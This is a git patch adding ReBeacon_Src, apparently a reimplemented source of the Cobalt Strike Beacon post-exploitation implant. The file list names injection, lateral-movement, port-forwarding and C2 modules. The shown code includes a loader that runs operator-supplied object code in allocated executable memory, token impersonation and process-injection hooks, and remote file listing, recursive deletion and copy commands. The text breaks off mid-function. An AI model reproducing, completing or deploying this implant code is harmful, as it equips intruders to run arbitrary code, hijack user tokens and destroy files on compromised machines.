From afc4a01b5e27e5d6474245fc3a9dc5a6f4f1a4d5 Mon Sep 17 00:00:00 2001 From: WBGlIl <18800148409@163.com> Date: Thu, 15 Sep 2022 14:47:13 +0800 Subject: [PATCH] first commit --- README.md | 1 + ReBeacon_Src.sln | 31 + ReBeacon_Src/BeaconBof.cpp | 263 + ReBeacon_Src/BeaconBof.h | 85 + ReBeacon_Src/BeaconFileManage.cpp | 309 + ReBeacon_Src/BeaconFileManage.h | 26 + ReBeacon_Src/BeaconInject.cpp | 1069 ++ ReBeacon_Src/BeaconInject.h | 30 + ReBeacon_Src/BeaconJob.cpp | 346 + ReBeacon_Src/BeaconJob.h | 44 + ReBeacon_Src/BeaconLateralMovement.cpp | 375 + ReBeacon_Src/BeaconLateralMovement.h | 39 + ReBeacon_Src/BeaconSleep.cpp | 77 + ReBeacon_Src/BeaconSleep.h | 16 + ReBeacon_Src/BeaconTask.cpp | 624 + ReBeacon_Src/BeaconTask.h | 8 + ReBeacon_Src/BeaconX64.cpp | 272 + ReBeacon_Src/BeaconX64.h | 42 + ReBeacon_Src/Beaconrportfwd.cpp | 537 + ReBeacon_Src/Beaconrportfwd.h | 40 + ReBeacon_Src/ChildBeacon.cpp | 765 ++ ReBeacon_Src/ChildBeacon.h | 61 + ReBeacon_Src/Global.cpp | 446 + ReBeacon_Src/Global.h | 194 + ReBeacon_Src/ReBeacon_Src.vcxproj | 192 + ReBeacon_Src/ReBeacon_Src.vcxproj.filters | 123 + ReBeacon_Src/ReBeacon_Src.vcxproj.user | 4 + ReBeacon_Src/Utils.cpp | 364 + ReBeacon_Src/Utils.h | 76 + ReBeacon_Src/beaconMain.cpp | 244 + ReBeacon_Src/comm.cpp | 1000 ++ ReBeacon_Src/comm.h | 65 + ReBeacon_Src/common.cpp | 1393 ++ ReBeacon_Src/common.h | 150 + ReBeacon_Src/encrypt_decrypt.cpp | 389 + ReBeacon_Src/encrypt_decrypt.h | 47 + ReBeacon_Src/macro.h | 8 + ReBeacon_Src/rotation.cpp | 291 + ReBeacon_Src/rotation.h | 16 + include/Veil/.gitignore | 350 + include/Veil/LICENSE | 21 + include/Veil/LICENSE.MINT | 21 + include/Veil/LICENSE.phnt | 395 + include/Veil/Library/README.Ci.md | 82 + include/Veil/Library/Stub.Ci.cpp | 142 + include/Veil/Library/ci.def | 15 + include/Veil/README.Zh-CN.md | 25 + include/Veil/README.md | 26 + include/Veil/Veil.Test/My.Cpp.Default.props | 22 + include/Veil/Veil.Test/Veil.Test.Kernel.inf | 117 + .../Veil/Veil.Test/Veil.Test.Kernel.vcxproj | 136 + .../Veil.Test.Kernel.vcxproj.filters | 17 + include/Veil/Veil.Test/Veil.Test.Main.cpp | 11 + .../Veil/Veil.Test/Veil.Test.UserMode.vcxproj | 155 + .../Veil.Test.UserMode.vcxproj.filters | 14 + include/Veil/Veil.Test/Veil.Test.sln | 45 + include/Veil/Veil.h | 160 + include/Veil/Veil/Veil.System.ALPC.h | 1531 +++ .../Veil/Veil.System.ConfigurationManager.h | 1283 ++ include/Veil/Veil/Veil.System.Debug.h | 771 ++ include/Veil/Veil/Veil.System.Define.h | 791 ++ include/Veil/Veil/Veil.System.Executive.h | 6485 +++++++++ include/Veil/Veil/Veil.System.IOManager.h | 3060 +++++ include/Veil/Veil/Veil.System.KernelCore.h | 360 + include/Veil/Veil/Veil.System.Loader.h | 1111 ++ include/Veil/Veil/Veil.System.MemoryManager.h | 1890 +++ include/Veil/Veil/Veil.System.MinCrypt.h | 568 + include/Veil/Veil/Veil.System.Nls.h | 120 + include/Veil/Veil/Veil.System.ObjectManager.h | 1352 ++ include/Veil/Veil/Veil.System.PowerManager.h | 605 + include/Veil/Veil/Veil.System.Process.h | 4035 ++++++ .../Veil/Veil/Veil.System.RuntimeLibrary.h | 10969 ++++++++++++++++ include/Veil/Veil/Veil.System.Security.h | 1348 ++ include/crypt-1.18.2.zip | Bin 0 -> 3466666 bytes include/tomcrypt.h | 105 + include/tomcrypt_argchk.h | 53 + include/tomcrypt_cfg.h | 283 + include/tomcrypt_cipher.h | 1008 ++ include/tomcrypt_custom.h | 590 + include/tomcrypt_hash.h | 531 + include/tomcrypt_mac.h | 565 + include/tomcrypt_macros.h | 446 + include/tomcrypt_math.h | 583 + include/tomcrypt_misc.h | 113 + include/tomcrypt_pk.h | 747 ++ include/tomcrypt_pkcs.h | 108 + include/tomcrypt_prng.h | 232 + lib/tomcrypt.lib | Bin 0 -> 3542288 bytes lib/tomcryptx64.lib | Bin 0 -> 3611486 bytes lib/tommath.lib | Bin 0 -> 591288 bytes lib/tommathx64.lib | Bin 0 -> 619582 bytes 91 files changed, 53459 insertions(+) create mode 100644 README.md create mode 100644 ReBeacon_Src.sln create mode 100644 ReBeacon_Src/BeaconBof.cpp create mode 100644 ReBeacon_Src/BeaconBof.h create mode 100644 ReBeacon_Src/BeaconFileManage.cpp create mode 100644 ReBeacon_Src/BeaconFileManage.h create mode 100644 ReBeacon_Src/BeaconInject.cpp create mode 100644 ReBeacon_Src/BeaconInject.h create mode 100644 ReBeacon_Src/BeaconJob.cpp create mode 100644 ReBeacon_Src/BeaconJob.h create mode 100644 ReBeacon_Src/BeaconLateralMovement.cpp create mode 100644 ReBeacon_Src/BeaconLateralMovement.h create mode 100644 ReBeacon_Src/BeaconSleep.cpp create mode 100644 ReBeacon_Src/BeaconSleep.h create mode 100644 ReBeacon_Src/BeaconTask.cpp create mode 100644 ReBeacon_Src/BeaconTask.h create mode 100644 ReBeacon_Src/BeaconX64.cpp create mode 100644 ReBeacon_Src/BeaconX64.h create mode 100644 ReBeacon_Src/Beaconrportfwd.cpp create mode 100644 ReBeacon_Src/Beaconrportfwd.h create mode 100644 ReBeacon_Src/ChildBeacon.cpp create mode 100644 ReBeacon_Src/ChildBeacon.h create mode 100644 ReBeacon_Src/Global.cpp create mode 100644 ReBeacon_Src/Global.h create mode 100644 ReBeacon_Src/ReBeacon_Src.vcxproj create mode 100644 ReBeacon_Src/ReBeacon_Src.vcxproj.filters create mode 100644 ReBeacon_Src/ReBeacon_Src.vcxproj.user create mode 100644 ReBeacon_Src/Utils.cpp create mode 100644 ReBeacon_Src/Utils.h create mode 100644 ReBeacon_Src/beaconMain.cpp create mode 100644 ReBeacon_Src/comm.cpp create mode 100644 ReBeacon_Src/comm.h create mode 100644 ReBeacon_Src/common.cpp create mode 100644 ReBeacon_Src/common.h create mode 100644 ReBeacon_Src/encrypt_decrypt.cpp create mode 100644 ReBeacon_Src/encrypt_decrypt.h create mode 100644 ReBeacon_Src/macro.h create mode 100644 ReBeacon_Src/rotation.cpp create mode 100644 ReBeacon_Src/rotation.h create mode 100644 include/Veil/.gitignore create mode 100644 include/Veil/LICENSE create mode 100644 include/Veil/LICENSE.MINT create mode 100644 include/Veil/LICENSE.phnt create mode 100644 include/Veil/Library/README.Ci.md create mode 100644 include/Veil/Library/Stub.Ci.cpp create mode 100644 include/Veil/Library/ci.def create mode 100644 include/Veil/README.Zh-CN.md create mode 100644 include/Veil/README.md create mode 100644 include/Veil/Veil.Test/My.Cpp.Default.props create mode 100644 include/Veil/Veil.Test/Veil.Test.Kernel.inf create mode 100644 include/Veil/Veil.Test/Veil.Test.Kernel.vcxproj create mode 100644 include/Veil/Veil.Test/Veil.Test.Kernel.vcxproj.filters create mode 100644 include/Veil/Veil.Test/Veil.Test.Main.cpp create mode 100644 include/Veil/Veil.Test/Veil.Test.UserMode.vcxproj create mode 100644 include/Veil/Veil.Test/Veil.Test.UserMode.vcxproj.filters create mode 100644 include/Veil/Veil.Test/Veil.Test.sln create mode 100644 include/Veil/Veil.h create mode 100644 include/Veil/Veil/Veil.System.ALPC.h create mode 100644 include/Veil/Veil/Veil.System.ConfigurationManager.h create mode 100644 include/Veil/Veil/Veil.System.Debug.h create mode 100644 include/Veil/Veil/Veil.System.Define.h create mode 100644 include/Veil/Veil/Veil.System.Executive.h create mode 100644 include/Veil/Veil/Veil.System.IOManager.h create mode 100644 include/Veil/Veil/Veil.System.KernelCore.h create mode 100644 include/Veil/Veil/Veil.System.Loader.h create mode 100644 include/Veil/Veil/Veil.System.MemoryManager.h create mode 100644 include/Veil/Veil/Veil.System.MinCrypt.h create mode 100644 include/Veil/Veil/Veil.System.Nls.h create mode 100644 include/Veil/Veil/Veil.System.ObjectManager.h create mode 100644 include/Veil/Veil/Veil.System.PowerManager.h create mode 100644 include/Veil/Veil/Veil.System.Process.h create mode 100644 include/Veil/Veil/Veil.System.RuntimeLibrary.h create mode 100644 include/Veil/Veil/Veil.System.Security.h create mode 100644 include/crypt-1.18.2.zip create mode 100644 include/tomcrypt.h create mode 100644 include/tomcrypt_argchk.h create mode 100644 include/tomcrypt_cfg.h create mode 100644 include/tomcrypt_cipher.h create mode 100644 include/tomcrypt_custom.h create mode 100644 include/tomcrypt_hash.h create mode 100644 include/tomcrypt_mac.h create mode 100644 include/tomcrypt_macros.h create mode 100644 include/tomcrypt_math.h create mode 100644 include/tomcrypt_misc.h create mode 100644 include/tomcrypt_pk.h create mode 100644 include/tomcrypt_pkcs.h create mode 100644 include/tomcrypt_prng.h create mode 100644 lib/tomcrypt.lib create mode 100644 lib/tomcryptx64.lib create mode 100644 lib/tommath.lib create mode 100644 lib/tommathx64.lib diff --git a/README.md b/README.md new file mode 100644 index 0000000..ad7f93a --- /dev/null +++ b/README.md @@ -0,0 +1 @@ +# ReBeacon_Src \ No newline at end of file diff --git a/ReBeacon_Src.sln b/ReBeacon_Src.sln new file mode 100644 index 0000000..cc0dc26 --- /dev/null +++ b/ReBeacon_Src.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.32428.217 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ReBeacon_Src", "ReBeacon_Src\ReBeacon_Src.vcxproj", "{8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Debug|x64.ActiveCfg = Debug|x64 + {8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Debug|x64.Build.0 = Debug|x64 + {8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Debug|x86.ActiveCfg = Debug|Win32 + {8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Debug|x86.Build.0 = Debug|Win32 + {8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Release|x64.ActiveCfg = Release|x64 + {8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Release|x64.Build.0 = Release|x64 + {8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Release|x86.ActiveCfg = Release|Win32 + {8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {CD87FCD7-3682-4403-A4C2-7F655021898F} + EndGlobalSection +EndGlobal diff --git a/ReBeacon_Src/BeaconBof.cpp b/ReBeacon_Src/BeaconBof.cpp new file mode 100644 index 0000000..2b24313 --- /dev/null +++ b/ReBeacon_Src/BeaconBof.cpp @@ -0,0 +1,263 @@ +#include "BeaconBof.h" + + +void __cdecl BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len) +{ + ProcessInject(pid, 0, hProc, payload, p_len, p_offset, arg, a_len); +} +void __cdecl BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pi, char* payload, int p_len,int p_offset,char* arg,int arg_len) +{ + ProcessInject(pi->dwProcessId, pi, pi->hProcess, payload, p_len, p_offset, arg, arg_len); +} + +void __cdecl BeaconGetSpawnTo(BOOL x86, char* buffer, int length) +{ + char path[256]; + + getspawntopath(path, x86); + if (length >= 256) + { + memcpy(buffer, path, 0x100u); + } + else + { + memcpy(buffer, path, length); + } +} + +BOOL __cdecl SetBeaconToken(HANDLE hToken, char* buffer) +{ + BeaconRevertToken(); + if (!ImpersonateLoggedOnUser(hToken) + || !DuplicateTokenEx(hToken, 0x2000000u, 0, SecurityDelegation, TokenPrimary, &pTokenHandle) + || !ImpersonateLoggedOnUser(pTokenHandle) + || !get_user_sid(0x100u, pTokenHandle, buffer)) + { + return 0; + } + BeaconTaskOutput(buffer, strlen(buffer), 15u); + return 1; +} + +BOOL __cdecl BeaconUseToken(HANDLE hToken) +{ + + char* buffer = (char*)malloc(256u); + memset(buffer, 0, 256); + BOOL ret = SetBeaconToken(hToken, buffer); + memset(buffer, 0, 256); + free(buffer); + return ret; +} +void __cdecl BeaconOutput(int type, char* data, int len) +{ + BeaconTaskOutput(data, len, type); +} +void __cdecl BeaconPrintf(int type, char* fmt, ...) +{ + va_list ArgList=0; + va_start(ArgList, fmt); + int size = vprintf(fmt, ArgList); + if (size > 0) + { + char* buffer = (char*)malloc(size + 1); + buffer[size] = 0; + vsprintf_s(buffer, size + 1, fmt, ArgList); + BeaconTaskOutput(buffer ,size, type); + memset(buffer, 0, size); + free(buffer); + } +} +void InitInternalFunctions(BeaconInternalFunctions* InternalFunctions) +{ + memset(InternalFunctions, 0, 252); + InternalFunctions->LoadLibraryA = LoadLibraryA; + InternalFunctions->FreeLibrary = FreeLibrary; + InternalFunctions->GetProcAddress = GetProcAddress; + InternalFunctions->GetModuleHandleA = GetModuleHandleA; + InternalFunctions->BeaconDataParse = BeaconDataParse; + InternalFunctions->BeaconDataPtr = BeaconDataPtr; + InternalFunctions->BeaconDataInt = BeaconDataInt; + InternalFunctions->BeaconDataShort = BeaconDataShort; + InternalFunctions->BeaconDataLength = BeaconDataLength; + InternalFunctions->BeaconDataExtract = BeaconDataExtract; + InternalFunctions->BeaconFormatAlloc = BeaconFormatAlloc; + InternalFunctions->BeaconFormatReset = BeaconFormatReset; + InternalFunctions->BeaconFormatAppend = BeaconFormatAppend; + InternalFunctions->BeaconFormatPrintf = BeaconFormatPrintf; + InternalFunctions->BeaconFormatToString = BeaconFormatToString; + InternalFunctions->BeaconFormatFree = BeaconFormatFree; + InternalFunctions->BeaconFormatInt = BeaconFormatInt; + InternalFunctions->BeaconOutput = BeaconOutput; + InternalFunctions->BeaconPrintf = BeaconPrintf; + InternalFunctions->BeaconErrorD = BeaconErrorD; + InternalFunctions->BeaconErrorDD = BeaconErrorDD; + InternalFunctions->BeaconErrorNA = BeaconErrorNA; + InternalFunctions->BeaconUseToken = BeaconUseToken; + InternalFunctions->BeaconRevertToken = BeaconRevertToken; + InternalFunctions->BeaconIsAdmin = is_admin; + InternalFunctions->BeaconGetSpawnTo = BeaconGetSpawnTo; + InternalFunctions->BeaconInjectProcess = BeaconInjectProcess; + InternalFunctions->BeaconInjectTemporaryProcess = BeaconInjectTemporaryProcess; + InternalFunctions->BeaconSpawnTemporaryProcess = BeaconSpawnTemporaryProcess; + InternalFunctions->BeaconCleanupProcess = BeaconcloseAllHandle; + InternalFunctions->toWideChar = toWideChar; +} + +int FixRelocation(BeaconBofRelocation* pBofRelocation, char* pcode_data, char* seg, int OffsetInSection, char* bof_code) +{ + if (pBofRelocation->Type == 6) + { + *(DWORD*)&pcode_data[pBofRelocation->offset] += (DWORD)&seg[OffsetInSection]; + return 1; + } + if (pBofRelocation->Type == 20) + { + *(DWORD*)&pcode_data[pBofRelocation->offset] = (DWORD)&seg[*(DWORD*)&pcode_data[pBofRelocation->offset] + - pBofRelocation->offset + - (DWORD)bof_code + - 4 + + OffsetInSection]; + return 1; + } + BeaconErrorD(79, pBofRelocation->Type); + return 0; +} + + +char* GetBeaconFunPtr(BeaconInternalFunctions* pinternalFunctions, char* pfun) +{ + char** p_end = &pinternalFunctions->end; + int number = 0 ; + char** pbeaconfun = &pinternalFunctions->end; + do + { + if (*pbeaconfun == pfun) + { + return (char*)(&pinternalFunctions->end + number); + } + ++number; + ++pbeaconfun; + } while (number < 32); + + number = 0; + while (*p_end) + { + ++number; + ++p_end; + if (number >= 32) + { + return 0; + } + } + char* fun = (char*)(&pinternalFunctions->end + number); + *(char**)fun = pfun; + return fun; +} + +void __cdecl beacon_bof(char* Taskdata, int Tasksize) +{ + + BeaconInternalFunctions* internalFunctions = (BeaconInternalFunctions*)malloc(252); + InitInternalFunctions(internalFunctions); + +// 4 getEntryPoint +// 4 code +// 4 rdata +// 4 data2 +// 4 relocations +// 4 args + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Tasksize); + int getEntryPoint = BeaconDataInt(&pdatap); + + int code_size = 0; + char* pcode = BeaconDataPtr3(&pdatap,&code_size); + + int rdata_size = 0; + char* prdata = BeaconDataPtr3(&pdatap, &rdata_size); + + int data2_size = 0; + char* pdata2 = BeaconDataPtr3(&pdatap, &data2_size); + + int relocations_size = 0; + char* prelocations = BeaconDataPtr3(&pdatap, &relocations_size); + + int alen = 0; + char* args = BeaconDataPtr3(&pdatap, &alen); + + char* bof_code = (char*)VirtualAlloc(0, code_size, 0x3000u, get_short(43)); + if (bof_code) + { + + datap pdatap; + BeaconDataParse(&pdatap, prelocations, relocations_size); + BeaconBofRelocation* pBofRelocation = (BeaconBofRelocation*)BeaconDataPtr(&pdatap, 12); + while (1) + { + BOOL status; + short id = pBofRelocation->id; + if (id == 1028) // SYMBOL_END + { + break; + } + if (id == 1024) // SYMBOL_RDATA + { + status = FixRelocation(pBofRelocation, pcode, prdata, pBofRelocation->OffsetInSection, bof_code);//޸rdataضλ + } + else if (id == 1025) // SYMBOL_DATA + { + status = FixRelocation(pBofRelocation, pcode, pdata2, pBofRelocation->OffsetInSection, bof_code);//޸DATAضλ + } + else if (id == 1026) // SYMBOL_TEXT + { + status = FixRelocation(pBofRelocation, pcode, bof_code, pBofRelocation->OffsetInSection, bof_code);//޸codeضλ + } + else + { + char* pfun; + if (id == 1027) // SYMBOL_DYNAMICF + { + char* strModule = BeaconDataPtr2(&pdatap); + char* strFunction = BeaconDataPtr2(&pdatap); + HMODULE dllbase = GetModuleHandleA(strModule); + if (!dllbase) + { + dllbase = LoadLibraryA(strModule); + } + FARPROC functionaddress = GetProcAddress(dllbase, strFunction); + if (!functionaddress) + { + BeaconErrorFormat(76, (char*)"%s!%s", strModule, strFunction); + return; + } + char* p = GetBeaconFunPtr(internalFunctions, (char*)functionaddress); + if (!p) + { + BeaconErrorNA(0x4Eu); + return; + } + pfun = p; + } + else//޸ + { + pfun = (char*)(&internalFunctions->LoadLibraryA + id); + } + status = FixRelocation(pBofRelocation, pcode, pfun, 0, bof_code); + } + if (!status) + { + return; + } + pBofRelocation = (BeaconBofRelocation*)BeaconDataPtr(&pdatap, 12); + } + memcpy(bof_code, pcode, code_size); + memset(pcode, 0, code_size); + if (CheckMemoryRWX(bof_code, code_size)) + { + ((void(__cdecl*)(char*, UINT)) & bof_code[getEntryPoint])(args, alen); + } + VirtualFree(bof_code, 0, 0x8000); + free(internalFunctions); + } +} \ No newline at end of file diff --git a/ReBeacon_Src/BeaconBof.h b/ReBeacon_Src/BeaconBof.h new file mode 100644 index 0000000..25d73e1 --- /dev/null +++ b/ReBeacon_Src/BeaconBof.h @@ -0,0 +1,85 @@ +#pragma once +#include "Utils.h" +#include "Global.h" +#include "comm.h" +#include "common.h" +#include "BeaconInject.h" + +typedef HMODULE(__stdcall* fpLoadLibraryA)(LPCSTR lpLibFileName); +typedef BOOL(__stdcall* fpFreeLibrary)(HMODULE hLibModule); +typedef FARPROC(__stdcall* fpGetProcAddress)(HMODULE hModule, LPCSTR lpProcName); +typedef HMODULE(__stdcall* fpGetModuleHandleA)(LPCSTR lpModuleName); +typedef void(__cdecl* fpBeaconDataParse)(datap* parser, char* buffer, int size); +typedef char* (__cdecl* fpBeaconDataPtr)(datap* parser, int size); +typedef int(__cdecl* fpBeaconDataInt)(datap* parser); +typedef short(__cdecl* fpBeaconDataShort)(datap* parser); +typedef int(__cdecl* fpBeaconDataLength)(datap* parser); +typedef char* (__cdecl* fpBeaconDataExtract)(datap* parser, int* size); +typedef void(__cdecl* fpBeaconFormatAlloc)(formatp* format, int maxsz); +typedef void(__cdecl* fpBeaconFormatReset)(formatp* format); +typedef void(__cdecl* fpBeaconFormatAppend)(formatp* format, char* text, int len); +typedef void(__cdecl* fpBeaconFormatPrintf)(formatp* format, char* fmt, ...); +typedef char* (__cdecl* fpBeaconFormatToString)(formatp* format, int* size); +typedef void(__cdecl* fpBeaconFormatFree)(formatp* format); +typedef void(__cdecl* fpBeaconFormatInt)(formatp* format, int value); +typedef void(__cdecl* fpBeaconOutput)(int type, char* data, int len); +typedef void(__cdecl* fpBeaconPrintf)(int type, char* fmt, ...); +typedef void(__cdecl* fpBeaconErrorD)(int BeaconErrorsType, DWORD error_code); +typedef void(__cdecl* fpBeaconErrorDD)(int BeaconErrorsType, int err_msg, u_long err_code_msg); +typedef void(__cdecl* fpBeaconErrorNA)(int BeaconErrorsType); +typedef BOOL(__cdecl* fpBeaconUseToken)(HANDLE token); +typedef BOOL(__cdecl* fpBeaconIsAdmin)(); +typedef void(__cdecl* fpBeaconRevertToken)(); +typedef void(__cdecl* fpBeaconGetSpawnTo)(BOOL x86, char* buffer, int length); +typedef void(__cdecl* fpBeaconInjectProcess)(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len); +typedef void(__cdecl* fpBeaconInjectTemporaryProcess)(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len); +typedef BOOL(__cdecl* fpBeaconSpawnTemporaryProcess)(BOOL x86, BOOL ignoreToken, STARTUPINFOA* si, PROCESS_INFORMATION* pInfo); +typedef void(__cdecl* fpBeaconCleanupProcess)(PROCESS_INFORMATION* pInfo); +typedef BOOL(__cdecl* fptoWideChar)(char* src, wchar_t* dst, unsigned int max); + +//עһҪ˳ҪˣΪcsǰŽ +struct BeaconInternalFunctions +{ + fpLoadLibraryA LoadLibraryA; + fpFreeLibrary FreeLibrary; + fpGetProcAddress GetProcAddress; + fpGetModuleHandleA GetModuleHandleA; + fpBeaconDataParse BeaconDataParse; + fpBeaconDataPtr BeaconDataPtr; + fpBeaconDataInt BeaconDataInt; + fpBeaconDataShort BeaconDataShort; + fpBeaconDataLength BeaconDataLength; + fpBeaconDataExtract BeaconDataExtract; + fpBeaconFormatAlloc BeaconFormatAlloc; + fpBeaconFormatReset BeaconFormatReset; + fpBeaconFormatAppend BeaconFormatAppend; + fpBeaconFormatPrintf BeaconFormatPrintf; + fpBeaconFormatToString BeaconFormatToString; + fpBeaconFormatFree BeaconFormatFree; + fpBeaconFormatInt BeaconFormatInt; + fpBeaconOutput BeaconOutput; + fpBeaconPrintf BeaconPrintf; + fpBeaconErrorD BeaconErrorD; + fpBeaconErrorDD BeaconErrorDD; + fpBeaconErrorNA BeaconErrorNA; + fpBeaconUseToken BeaconUseToken; + fpBeaconRevertToken BeaconRevertToken; + fpBeaconIsAdmin BeaconIsAdmin; + fpBeaconGetSpawnTo BeaconGetSpawnTo; + fpBeaconInjectProcess BeaconInjectProcess; + fpBeaconInjectTemporaryProcess BeaconInjectTemporaryProcess; + fpBeaconSpawnTemporaryProcess BeaconSpawnTemporaryProcess; + fpBeaconCleanupProcess BeaconCleanupProcess; + fptoWideChar toWideChar; + char* end; +}; + +struct BeaconBofRelocation +{ + short Type; + short id; + int offset; + int OffsetInSection; +}; + +void __cdecl beacon_bof(char* Taskdata, int Tasksize); \ No newline at end of file diff --git a/ReBeacon_Src/BeaconFileManage.cpp b/ReBeacon_Src/BeaconFileManage.cpp new file mode 100644 index 0000000..ae8b020 --- /dev/null +++ b/ReBeacon_Src/BeaconFileManage.cpp @@ -0,0 +1,309 @@ +#include "BeaconFileManage.h" + +void BeaconLs(char* Taskdata, int Task_size) +{ + SYSTEMTIME SystemTime; + SYSTEMTIME LocalTime; + HANDLE FirstFileA; + + char* buff = (char*)malloc(0x4000); + memset(buff, 0, 0x4000u); + datap taskpdatap; + BeaconDataParse(&taskpdatap, Taskdata, Task_size); + int unknown = BeaconDataInt(&taskpdatap); + BeaconDataCopyToBuffer(&taskpdatap, buff, 0x4000); + formatp pdatap; + BeaconFormatAlloc((formatp*)&pdatap, 0x200000u); + BeaconFormatInt((formatp*)&pdatap, unknown); + if (!strncmp(buff, ".\\*", 0x4000)) + { + GetCurrentDirectoryA(0x4000u, buff); + strncat_s(buff, 0x4000u, "\\*", 2); + } + BeaconFormatPrintf((formatp*)&pdatap, (char*)"%s\n", buff); + WIN32_FIND_DATAA FindFileData; + FirstFileA = FindFirstFileA(buff, &FindFileData); + if (FirstFileA == (HANDLE)-1) + { + BeaconTaskError1Output(52, GetLastError(), buff); + int length = BeaconFormatlength((formatp*)&pdatap); + char* buffer = BeaconFormatOriginalPtr((formatp*)&pdatap); + BeaconTaskOutput(buffer, length, 22); + free(buff); + } + else + { + free(buff); + do + { + FileTimeToSystemTime(&FindFileData.ftLastWriteTime, &SystemTime); + SystemTimeToTzSpecificLocalTime(0, &SystemTime, &LocalTime); + if ((FindFileData.dwFileAttributes & 0x10) != 0) + { + BeaconFormatPrintf( + (formatp*)&pdatap, + (char*)"D\t0\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n", + LocalTime.wMonth, + LocalTime.wDay, + LocalTime.wYear, + LocalTime.wHour, + LocalTime.wMinute, + LocalTime.wSecond, + FindFileData.cFileName); + } + else + { + BeaconFormatPrintf( + (formatp*)&pdatap, + (char*)"F\t%I64d\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n", + __PAIR64__(FindFileData.nFileSizeHigh, FindFileData.nFileSizeLow), + LocalTime.wMonth, + LocalTime.wDay, + LocalTime.wYear, + LocalTime.wHour, + LocalTime.wMinute, + LocalTime.wSecond, + FindFileData.cFileName); + } + } while (FindNextFileA(FirstFileA, &FindFileData)); + FindClose(FirstFileA); + int length = BeaconFormatlength((formatp*)&pdatap); + char* buffer = BeaconFormatOriginalPtr((formatp*)&pdatap); + BeaconTaskOutput(buffer, length, 0x16u); + } + BeaconFormatFree((formatp*)&pdatap); +} + + +void beacon_MkDir(char* Taskdata, int Task_size) +{ + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + char* buffer = (char*)malloc(0x4000u); + BeaconDataCopyNToBuffer(&pdatap, buffer, 0x4000); + _mkdir(buffer); + free(buffer); +} + +void GetDrivesList(char* Taskdata, int Task_size) +{ + + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + int unknown = BeaconDataInt(&pdatap); + + formatp pformatp; + BeaconFormatAlloc(&pformatp, 0x80u); + BeaconFormatInt(&pformatp, unknown); + DWORD LogicalDrives = GetLogicalDrives(); + BeaconFormatPrintf(&pformatp, (char*)"%u", LogicalDrives); + int length = BeaconFormatlength(&pformatp); + char* buffer = BeaconFormatOriginalPtr(&pformatp); + BeaconTaskOutput(buffer, length, 22); + BeaconFormatFree(&pformatp); +} + + +BOOL isDirectory(LPCSTR lpFileName) +{ + return (GetFileAttributesA(lpFileName) & FILE_ATTRIBUTE_DIRECTORY) == 16; +} + +void __cdecl CallbackDelFile(const char* path, const char* name, int type) +{ + char* buffer = (char*)malloc(0x4000u); + memset(buffer, 0, 0x4000); + _snprintf(buffer, 0x4000u, "%s\\%s", path, name); + if (type) + { + _rmdir(buffer); + } + else + { + remove(buffer); + } + free(buffer); +} + +void DeleteAllFile(char* buffer) +{ + struct _WIN32_FIND_DATAA FindFileData; + + TraverseDeleteFile(buffer, &FindFileData, CallbackDelFile); +} + + + +void TraverseDeleteFile(char* path, LPWIN32_FIND_DATAA lpFindFileData, CallbackDelFilePtr Callback_fun) +{ + char* buffer = (char*)malloc(0x8000u); + _snprintf(buffer, 0x8000u, "%s\\*", path); + HANDLE hFindFile = FindFirstFileA(buffer, lpFindFileData); + free(buffer); + if (hFindFile != (HANDLE)-1) + { + do + { + if ((lpFindFileData->dwFileAttributes & 0x10) != 0) + { + if (strcmp(lpFindFileData->cFileName, ".")) + { + if (strcmp(lpFindFileData->cFileName, "..")) + { + char* temp = (char*)malloc(0x8000u); + _snprintf(temp, 0x8000u, "%s", lpFindFileData->cFileName); + RecursionTraverseDeleteFile(path, lpFindFileData->cFileName, lpFindFileData, Callback_fun); + Callback_fun(path, temp, 1); + free(temp); + } + } + } + else + { + Callback_fun(path, lpFindFileData->cFileName, 0); + } + } while (FindNextFileA(hFindFile, lpFindFileData)); + FindClose(hFindFile); + } +} +void RecursionTraverseDeleteFile(char* path, char* Name, LPWIN32_FIND_DATAA lpFindFileData, CallbackDelFilePtr Callback) +{ + char* buffer = (char*)malloc(0x8000u); + _snprintf(buffer, 0x8000u, "%s\\%s", path, Name); + TraverseDeleteFile(buffer, lpFindFileData, Callback); + free(buffer); +} +void beacon_rm(char* Taskdata, int Task_size) +{ + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + char* buffer = (char*)malloc(0x4000u); + BeaconDataCopyNToBuffer(&pdatap, buffer, 0x4000); + if (isDirectory(buffer)) + { + DeleteAllFile(buffer); + _rmdir(buffer); + } + else + { + remove(buffer); + } + free(buffer); +} + +void beacon_copy(char* Taskdata, int Task_size) +{ + + datap* pdatap = BeaconDataInit(0x4000u); + char* lpExistingFileName = BeaconDataPtr(pdatap, 0x2000); + char* lpNewFileName = BeaconDataPtr(pdatap, 0x2000); + + datap ptaskdatap; + BeaconDataParse(&ptaskdatap, Taskdata, Task_size); + 